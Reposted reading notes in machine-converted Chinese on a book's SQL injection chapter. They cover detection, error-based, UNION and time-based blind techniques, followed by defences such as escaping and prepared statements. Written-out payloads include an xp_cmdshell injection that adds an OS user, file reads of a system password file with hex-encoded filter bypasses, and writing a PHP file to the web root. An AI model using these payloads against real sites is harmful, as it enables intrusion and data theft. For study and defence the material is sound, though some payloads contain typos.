《Web安全深度解析》讀書筆記-原理篇-SQL隱碼攻擊

chengyuxun6617發表於2017-07-14

SQL隱碼攻擊漏洞分類

分為:數字型和字元型

數字型注入:在弱型別語言中容易產生該類漏洞,如ASP、PHP。

強型別語言中如果試圖將一個字元型轉換為int型,則會丟擲異常,無法繼續執行,如JAVA、C#等。

所以在強型別語言中很少存在數字型注入漏洞。

判定如型別語言的 數字型注入漏洞三步走:

前提:假設有URL為HTTP://www.xxser.com/test.php?id=8,可以猜測其SQL為select * from table where id=8

測試步驟:

1、HTTP://www.xxser.com/test.php?id=8'

SQL語句為HTTP://www.xxser.com/test.php?id=8',這樣的語句肯定會出錯,

導致指令碼程式無法從資料庫中獲取正常資料,從而是原來的頁面出現異常。

2、HTTP://www.xxser.com/test.php?id=8 and 1=1

SQL語句為select * from table where id=8 and 1=1,語句執行正常,返回資料與原始請求無差異。

3、HTTP://www.xxser.com/test.php?id=8 and 1=2

SQL語句變為select * from table where id=8 and 1=2,語句執行正常,但卻無法查詢出資料,

因為“1=2”始終為假。所以返回資料與原始請求有差異。

如果以上三個步驟全部滿足,則程式就可能存在SQL隱碼攻擊漏洞。

字元型注入:輸入引數為字元時,成為字元型

數字型和字元型的區別在於,數字型不需要單引號閉合,而字串型別一般要使用單引號來閉合。

數字型例句:select * from table where id=8

字元型例句:select * from table where username='admin'

字元型注入最關鍵的在於如何閉合SQL語句以及註釋掉多餘的程式碼。

例如:

當查詢內容為字串時,SQL程式碼如下:

select * from table where username='admin'

當攻擊者進行SQL隱碼攻擊時,如果過輸入“amdin and 1=1”,則無法進行注入。

因為“amdin and 1=1” 會被資料庫當做查詢條件字串來處理,SQL如下:

selec * from table where username = 'admin and 1=1'

這時想要進行注入,則必須注意字串閉合問題。如果輸入“admin ’and 1=1 --”就可以繼續注入,SQL如下:

select * from table where username ='admin' and 1=1 --'

只要會字串型別注入,都必須閉合單引號以及註釋掉多餘的程式碼。例如,uodate語句:

update Person set username='username' ,set password='password' where id=1

現在對該語句進行注入,就需要閉合單引號,可以在username或者password處插入語句為:

"'+(select @@version)+'",

最終的執行語句為:

update Person set username='username', set password=''+(select @@version)+ '' where id =1

利用兩次單引號閉合才能完成SQL隱碼攻擊

注:資料庫不同,字串連線符也不同,

如SQL Server 連線符號為“+”,Oracle連線符號為“||”,Mysql的連線符號為空格

例如Insert語句:

Insert into users (username,password,title) values('username', 'password','titile')

當注入title欄位時,可以像update一樣,直接使用一下SQL語句:

Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')

SQL隱碼攻擊型別

總體來講還是分為兩類,數字型和字元型

注入欄位在不同的位置,產生一些常見的注入叫法:

POST注入:注入欄位在POST資料中

Cookie注入:注入欄位在Cookie資料中

延時注入:使用資料庫延時特性注入

搜尋注入:注入處為搜尋的地點

base64注入:注入字串需要經過base64加密

常見的資料庫注入

資料庫:Oracle11g,MySQL5.1,SQL Server 2008

方式:查詢資料,讀寫檔案,執行命令

針對資料庫的注入無非都是上面三件事。

5.3.1、SQL Server

1、利用錯誤訊息提取資訊

SQL Server對錯誤資訊的定位十分準確,對開發是好事兒,對攻擊者也是不錯的。

1.1 列舉當前表和列

在查詢sql中插入如下語句: 'having 1=1--

select * from users where username='root' and password='root' having 1=1 --'

這樣SQL執行器會報錯,選擇列表中的列’users.id‘無效,因為該列沒有包含在聚合函式或group By子句中。

這樣攻擊者可以利用此特性繼續找到其他的列明,輸入SQL如下:

select * from users where username='root' and password='root' group by users.id having 1=1 --

1.2 利用型別錯誤提取資料

試圖利用不同型別欄位之間的比較,使得sql編譯器丟擲異常,獲取資訊,如下SQL:

select * from users where username='root' and password='root'

and 1 > (select top 1 username from users)

執行器錯誤提示:

在將varchar值’root‘轉換成資料型別int時失敗,這樣就暴露了root這個賬戶,一次遞迴會發現所有的賬戶

select * from users where username='root' and password='root' and

1>(select top 1 username from users where username not in ('root'))

如果不巢狀子查詢,也同樣可以達到目的,需要用到SQL Server的內建函式CONVERT或者CASE函式,

這兩個函式的功能是:將一種資料型別 轉轉為另一種資料型別。

輸入如下SQL語句:

select * from users where username='root' and password='root'

and 1=convert(int ,(select top 1 users.username from users))

如果感覺遞迴比較麻煩,可以通過FOR XML PATH語句將查詢的資料生成XML,SQL語句如下:

select* from users where username='root' and password='root'

AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +

users.password from users for xml path ('')),1,1,'')))

2、獲取後設資料

SQL Server提供大量的檢視,便於取得後設資料。下面使用information_schema.tables 與

information_schema.columns檢視取得資料庫表以及表的欄位。

取得當前資料庫表:

select table_name from infromation_schema.tables

取得表Student表欄位:

select columnname from information_schema.columns where table_name='Student'

還有其他的一些檢視:

sys.databases:SQL Server中所有的資料庫

sys.sql_logins:SQL Server所有登入名

information_schema.tables:當前使用者資料庫中的表

information_schema.columns:當前使用者資料庫中的列

sys.all_columns:使用者定義物件和系統物件的所有列的聯合

sys.databases_principals:資料庫中每個許可權或列異常許可權

sys.databases_files:儲存在資料庫中的資料庫檔案

sysobjects:資料庫中建立的每個物件,例如:約束、日誌 以及儲存過程

3、Orderby子句

為SELECT查詢的列排序,如果同時指定了TOP關鍵字,Order by子句在檢視、行內函數、派生表和子查詢中無效。

攻擊者通常會通過注入Order by語句來判斷此表的列數。

SQL語句:

1 、select id,username,password, from users where id=1 -------SQL執行正常

2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL執行正常

3、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL執行正常

4、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL執行正常

5、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL執行異常

錯誤提示:Order by 位置號 4 超出了選擇列表中相熟的範圍

這樣攻擊者得知當前SQL語句有幾列,隨後會配合union關鍵字進行下一步的攻擊

4、Union查詢

union關鍵字將兩個或者更多個查詢結果組合為單個結果集,俗稱聯合查詢。

使用union合併兩個查詢結果集的基本規則:

1、所有查詢中的列數必須相同

2、資料型別必須相容

例如,聯合查詢探測欄位數

前面介紹的USERS表,查詢ID欄位為1 的使用者,正常的SQL語句

select id ,username,password from users where id=1

使用Union查詢對id欄位注入,SQL語句如下:

select id,username,password,sex from users where id=1 union select null

資料庫發生異常,:使用union,intersect或者except運算子合並的所有查詢必須再起目標列中有相同的表示式

遞迴查詢,知道無錯誤差生,可得知User表查詢的欄位數

union select null,null

union select null,null,null

也有人喜歡使用select 1,2,3語句,不過該語句容易出現型別不相容的異常。

例二:聯合查詢敏感資訊

上面例子介紹如何獲取欄位數,接下來曝光攻擊者如何使用union關鍵字查詢敏感資訊,

union查詢可以在SQL隱碼攻擊中發揮非常大的作用。

得知四列後,可以使用一下語句繼續注入:

id=5 union select 'x',null,null,null from stsobject where xtype='U'

如果資料型別不匹配,資料庫會報錯,這是可以繼續遞迴查詢,知道語句正常執行為止。

語句執行正常,代表資料型別相容,就可以將x替換為SQL語句,查詢敏感資訊。

union和union all 最大的區別在於union會自動去除重複的資料,並且按照預設規則排序。

5、無辜的函式

SQL Server存在一些系統函式,利用系統函式可以方位SQL Server系統表中的資訊。

select suser_name();返回使用者的登陸標識號

select user_name():基於指定的標識號返回資料庫的使用者名稱

select db_name():返回資料庫名稱

select is_member('db_owener'):是否為資料庫角色

select convert(int,'5'):資料型別轉換

SQL Server常用函式:

stuff:字串擷取函式

ascii:取ASCII碼

char:根據ASCII碼取字元

getdate:返回日期

count:返回卒中的總條數

cast:將一種資料型別的表示式顯示的轉換成另一種資料型別的表示式

rand:返回隨機值

is_srvrolemember:只是SQL Server登入名是否為指定伺服器角色的成員

6、危險的儲存過程

儲存過程(Stored Procedure) 是在大型資料庫系統中為了完成特定功能的一組SQL“函式”。

如執行系統命令,檢視登錄檔,讀取磁碟目錄等。

攻擊者最常使用的儲存過程是 xp_cmdshell,這個儲存過程允許使用者執行作業系統命令。例如:

http://demo.testfire.net/test.aspx?id=1 存在注入點,那麼攻擊者可以試試攻擊:

http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'

最終執行的SQL語句如下:

select * from table where id=1;exec xp_cmdshell 'bet user test test /add'

攻擊者可以直接利用xp_cmdshell操作伺服器。

注:只有持有control server 許可權的使用者才能使用此類儲存過程。

常見的儲存過程:

sp_addlogin:建立新的SQL Server登入,該登入允許使用者使用SQL Server身份驗證連線到SQL Server例項

sp_dropuser:從當前資料庫中刪除資料庫使用者

xp_enumgroups:提供Windows本地組列表或指定的Windows域中定義的全域性組列表

xp_regwrite:違背公佈的儲存過程,寫入登錄檔

xp_regread:讀取之策表

xp_regdeletevalue:刪除登錄檔

xp_dirtree:讀取目錄

sp_password:更改密碼

xp_servicecontrol:停止或啟用某服務

另外,任何一種資料庫在使用一些特殊的函式或者儲存過程時,都需要特定的許可權,否則無法使用。

SQL Server資料庫的覺得與許可權如下:

bulkadmin:執行BULK INSERT語句

dbcreator:建立,更改,刪除和還原任何資料庫

diskadmin:管理磁碟檔案

processadmin:可以終止在資料庫引擎中例項中執行的程式

securityadmin:管理登入名及其屬性。可以利用grant,deny和revoke伺服器級別的許可權,

還可以利用grant,deny,和revoke資料庫級別的許可權,還可以重置SQL Server登入名的密碼

serveradmin:可以更改伺服器範圍的配置選項和關閉伺服器

setupadmin:可以新增或刪除連結伺服器,並可以執行某些系統儲存過程

sysadmin:角色成員可以在資料庫引擎中執行任何活動。

預設情況下Windows BUILTIN\Administrator組的所有成員都是sysadmin固定伺服器角色的成員。

7、動態執行

SQL Server支援動態執行語句,使用者可以通過提交字串來執行SQL語句,例如:

exec('select username,password from users')

exec('selec'+'t username ,password fro' + 'm users')

由於大部分Web應用程式防火牆都過濾了單引號,利用exec執行十六進位制SQL語句並不存在單引號,

這一特殊性可以突破很多防火牆及防注入程式,如:

declare @query varchar(888)

select @query=0x73656C6563742031

exec(@query)

或者:

declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

5.3.2、MySQL

資料庫的注入過程基本上是型別,不同的是各個資料的一些使用函式或語句有些差異,

如,檢視資料庫SQL Server使用函式@@version,而MySQL是version()。

1、MySQL中的註釋

#:註釋從 # 字元到行尾

--:註釋從 --序號到行尾,需要注意的是,使用此註釋時,後面需要跟上一個或者多個空格或tag都可以

/**/:註釋從/*序列到*/序列中間的字元,其中/**/註釋存在一個特點

select id /*!5555, username */ from users

執行結果中發現/**/註釋沒有起到作用,語句正常執行。其實這不是註釋,而是/*!*/,感嘆號是有特殊意義的,

如/*!5555,username*/的意思是

若MySQL的版本號高於或者等於5.55.55,語句將會被執行,如果!後面不加版本號,MySQL將會直接執行SQL語句。

2、獲取後設資料

MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是資訊資料庫,

它提供了訪問資料庫後設資料的方式。下面介紹如果從中讀取資料庫名稱、表名稱、列名稱。

1、查詢使用者資料庫名稱

select schema_name from information_schema.shemata limit 0,1

--從information_schema.shemata表中查詢第一個資料庫名稱

2、查詢當前資料庫表

select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1

--查詢當前資料庫表,只顯示第一條資料

3、查詢指定表的所有欄位

select column_name from information_schema.columns where table_name='Student' limit 0,1

-- 查詢 table_name為Student的欄位名

3、UNION查詢

MySQL的官方解釋union查詢 用於吧來自許多的select語句的結果組合到一個結果集中,且每列的資料型別必須相同。

MySQL和Oracle不像SQL Server那樣可以執行多語句,所以在利用查詢是,通常配合union關鍵字。

MySQL和SQL Server中執行:

select id ,username,password from users union select 1,2,3

Oracle中執行:

select id ,username,password from users union select 1,2,3 from dual

執行後,SQL Server和Oracle 報錯,資料型別不匹配,無法正常執行,MySQL語句正常執行。

由此返現,在Oracle和SQL Server中,列的資料型別在不確定的情況下,最好使用NULL關鍵字匹配。

注意:1、UNION 結果集中的列名總是等於第一個 SELECT 語句中的列名

2、UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的資料型別。同時,每條 SELECT 語句中的列的順序必須相同

MySQL的Group by

group by語法可以根據給定資料列的每個成員對查詢結果進行分組統計,最終得到一個分組彙總表

SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT

注意:

必須在group子句之前指定where子句,

在SELECT語句中指定的每個列名也在GROUP BY子句中提到。未在這兩個地方提到的列名將產生錯誤。

在group by子句後使用HAVING子句,HAVING子句可包含一個或多個用AND和OR連線的謂詞,

HAVING 子句基本上總是包含聚集函式

如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1

先用group by 對email進行分組,在用having來過濾大於1的,這樣查詢出來的就是重複的記錄了.

WHERE 子句作用於表和檢視,HAVING 子句作用於組。

4、MySQL函式利用

1、load_file()函式讀取檔案操作

檔案必須在伺服器上,檔案的路徑必須為絕對路徑(全路徑),而且使用者必須持有FILE許可權,檔案容量也必須小於 max_allowed_packet位元組(預設16MB,最大1GB)

SQL語句,union select 1, load_file('/etc/password'),3,4,5,6 #

通常,一些防注入語句不允許單引號出現,那麼使用一下語句繞過:

union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#

0x2F6563742F706173737764為/etc/password十六進位制的轉換結果,或者使用:

union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #

在SQL隱碼攻擊中,將會經常出現使用函式組合來達到某種目的,例如,在瀏覽器返回資料時,有可能出現亂碼問題,那麼可以使用hex()函式將字串轉換為十六進位制資料:

select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));

2、into outfile寫檔案操作

MySQL提供向磁碟寫入檔案的操作,與load_file()一樣,必須持有FILE許可權,並且檔案必須為全路徑名稱。

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

3、連線字串

在MySQL中如果需要一次性查詢多個資料,可以使用concat()或concat_ws()函式

3.1、concat()函式

select name from users where id=1 union select concat(user(),',',database(),',',version());

結果如下:

+*********************************************************+

|name |

+**********************************************************+

| admin |

|xxser |

|root@localhost,mychool,5.1.50-community-log|

+**********************************************************+

可以發現,現在三個值已經成為一列,並且以逗號隔開。在concat()函式中的逗號可以用十六進位制表示

concat(user(),0x2c,database(),0x2c,version())

3.2、concat_ws()函式

比concat()函式更簡潔

concat_ws(0x2c,user(),database(),version())

select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());

更多常用函式及說明

函式 說明
length 返回字串長度
substring 擷取字串長度
asscii 返回ASCII碼
hex 把字串轉換 為十六進位制
now 當前系統時間

 

unhex hex的反向操作
floor(x) 返回不大於x的最大整數值
md5 返回MD5值
group_concat 返回帶有來自一個組的連線的非NULL值的字串結果
@@datadir 讀取資料庫路徑
@@basedir MySQL安裝路徑

 

@@version_complite_os 作業系統
user 使用者名稱
current_user 當前使用者名稱
system_user 系統使用者名稱
database 資料庫名
version MySQL資料庫版本

5、MySQL顯錯式注入

顯錯式注入,即利用資料庫的報錯資訊提取訊息。

6、寬位元組注入

是由編碼不統一造成的,這種注入一般出現在PHP+MySQL中。

7、MySQL長字元擷取

在預設情況下,如果輸入資料超過預設長度,MySQL會將其截斷。

8、延時注入

由於網站技術的不斷提升,在url中新增什麼語句都不會有變化,只能通過盲注判斷,盲注即頁面無差異的注入。

延時注入屬於盲注的一種,是一種基於時間差異的注入技術,下面以MySQL為例,主要講一下延時注入

在MySQL中有一個函式:SLEEP(duration),這個函式的意思是在duration引數給定的秒數後執行語句,如下sql:

select * from users where id=1 and sleep(3); /*三秒後執行SQL語句*/

知道了sleep函式可以延時後,那就可以使用這個函式來判斷URL是否存在SQL隱碼攻擊漏洞,步驟如下:

1、http://www.secbug.com/user.jsp?id=1 //頁面返回正常,1秒左右開啟介面

2、http://www.secbug.com/user.jsp?id=1 ' //頁面返回正常,1秒左右可以開啟頁面

3、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //頁面返回正常, 1秒左右可以開啟頁面

4、http://www.secbug.com/user.jsp?id=1 and sleep(3) //頁面返回正常,3秒左右可以開啟頁面

通過頁面返回的時間可以斷定,DBMS執行了and sleep(3)語句,這樣一來,就可以判斷出URL確實存在SQL漏洞。

通過sleep函式可以判斷出注入點,那麼能讀出資料嗎?

答案是肯定可以的,但是需要與其他函式配合使用,下面就是通過延時韓式注入讀取當前MySQL使用者的例子。

思路:

1、查詢當前使用者,並取得字串長度

2、擷取字串的第一個字元,並轉換為ASCII碼

3、將第一個字讀的ascii碼與ASCII碼錶對比,如果過比對成功則延時3秒

4、繼續步驟2/3,直至字串擷取完畢

對應的SQL語句如下:

1、and if(length(user())=0, sleep(3),1)

迴圈0,如果出現3秒延遲,就可以判斷出user字串長度,注入時通常會採用半折演算法減少判斷。

2、and if(hex(mid(user(),1,1))=1, sleep(3),1)

取出user字串的第一個字元,然後與ASCII碼錶迴圈對比

3、and if(hex(mid(user(),L,1))=N,sleep(3),1)

遞迴破解第二個ASCII碼,第三四五個ASCII碼

同理,既然通過延時注入可以讀取資料庫當前MySQL使用者,那麼讀取表、列、檔案都是可以實現的。

注:L是位置代表字串的第幾個字元,N的位置代表ASCII碼。

SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函式。

5.4、注入工具

SQLMap,pangolin,Havij

5.5、防止SQL隱碼攻擊

SQL隱碼攻擊的問題最終歸於使用者可以控制輸入,SQL隱碼攻擊、xss、檔案包含、命令執行都可歸於此。

有輸入的地方就可能存在風險。簡單粗暴的方式:

禁止或者過濾掉單引號,問題是外國人的名字中有單引號,數字型注入也不一定會使用單引號

禁止輸入查詢語句,如select,insert,union關鍵字,問題是可以通過註釋繞過關鍵字,

如sel/**/ect等,對註釋進行分割,且不影響資料庫的正常執行。

5.5.1、嚴格的資料型別

Java和C#等強型別語言基本上可以完全忽略數字型注入,例如請求ID為1的新聞,攻擊者想要注入幾乎不可能

5.5.2、特殊字元轉義

通過加強資料型別校驗可以解決數字型的SQL隱碼攻擊,字元型卻不可以,因為他們都是string型別,你無法判斷輸入是否為惡意攻擊。

對特殊字元轉義--在資料庫查詢字串時,任何字串都需要加上單引號。將這些特殊字元轉義能夠有效防禦字元型SQL隱碼攻擊。

需要轉義的字元參考OWASP ESAPI

在特殊字元轉義過濾SQL隱碼攻擊時,需要注意“二次注入攻擊”

在第一次注入時,將特殊字元轉義,但是在資料庫中儲存時卻沒有‘\’,在第二次查詢時使用單引號匹配注入,如:

第一次插入資料時,單引號被轉義

insert into message(id,title,content) values(3,'secbug\'','secbug.org')

單引號已經被轉義,這樣注入攻擊就無法成功,但,secbug\'在插入資料庫後去沒有了"\",語句如下:

+*****+*****************+*********************+

|id | title | content |

+****+*******************+*******************+

|1 | secbug' | secbug.org |

+****+*******************+*******************+

這樣如果有另一處查詢為:

select id,title,content from message where title='$title'

那麼正宗攻擊就稱為二次SQL隱碼攻擊,比如講title改為

‘ union select 1, @@version 3 --

,目前很多開源系統都存在這樣的問題,第一次不會出現漏洞,但是第二次卻出現了SQL隱碼攻擊漏洞。

5.5.3 使用預編譯語句

Java、C#等語言提供了預編譯語句。

Java中提供了三個介面與資料庫互動,Statement,CallableStatement,PreparedStatement.

Statement用於執行靜態SQL語句,並返回它們所生成的結果物件。

PrepareStatement為Statement子類,表示預編譯SQL語句物件。

CallableStatement為PrepareStatement的子類,用於執行SQL儲存過程。

雖然PrepareStatement介面是安全的,但是如果使用動態拼接SQL語句,那就會失去它的安全性。

想要使PrepareStatement防禦SQL隱碼攻擊,必須使用它提供的setter方法(setShort、setString等)。

5.5.4、框架技術

在眾多框架中,有一類框架專門與資料庫打交道,被稱為持久層框架,比如Hibernate,MyBatis,JORM。

簡要介紹Hibernate:

Hibernate是一個開原始碼的ORM(物件關係對映)框架,他對JDBC進行非常輕量級的物件封裝,

是的Java程式要可以隨心所欲的神勇物件導向思維運算元據庫。

Hibernate是跨平臺的,幾乎不需要修改SQL語句即可適用於各種資料庫,

它的安全性較高,但也同樣存在注入,這類物件關係對映框架注入也被稱為ORM注入。

Hibernate自定義的SQL語言叫作HQL,是一種物件導向的查詢語言。

使用此語言時千萬不要使用動態拼接的方式組成SQL語句,否則可能造成SQL隱碼攻擊。

5.5.5、儲存過程(Stored Procedure)

在儲存過程中直接使用exec執行SQL語句,這和直接寫select* from Student where StudentNo=id 沒有區別,傳入引數3 or 1=1

將查詢出全部資料,造成SQL隱碼攻擊漏洞。例如:

create proc findUserId @id varchar(100)

as

exec('select * from Student where StudentNo= ' +@id);

go

改進為:

create proc findUserId @id varchar(100)

as

select * from Student where StudentNo=@id

go

引數3 or 1=1,SQL執行器丟擲錯誤:

在將varchar值'3 or 1=1'轉換為資料型別int時失敗。

小結:

SQL隱碼攻擊的危害雖然很大,但是可以完全杜絕,陳旭開發團隊一定要有自己的安全規範模板,因為不可能每個程式設計師都瞭解SQL隱碼攻擊,所以團隊有一套自己的模板後,SQL隱碼攻擊會大大減少。比如碰到SQL語句完全採用PrepareStatement類,且必須用引數繫結,如果這樣還存在SQL隱碼攻擊,那就是某個程式設計師沒有遵循規範,這樣就從安全轉移到程式碼規範的問題上,只要遵循規範,不會有問題,這一方法無論是SQL隱碼攻擊,還是後面的其他漏洞,都適用。

轉載於:https://my.oschina.net/u/992550/blog/1377550

相關文章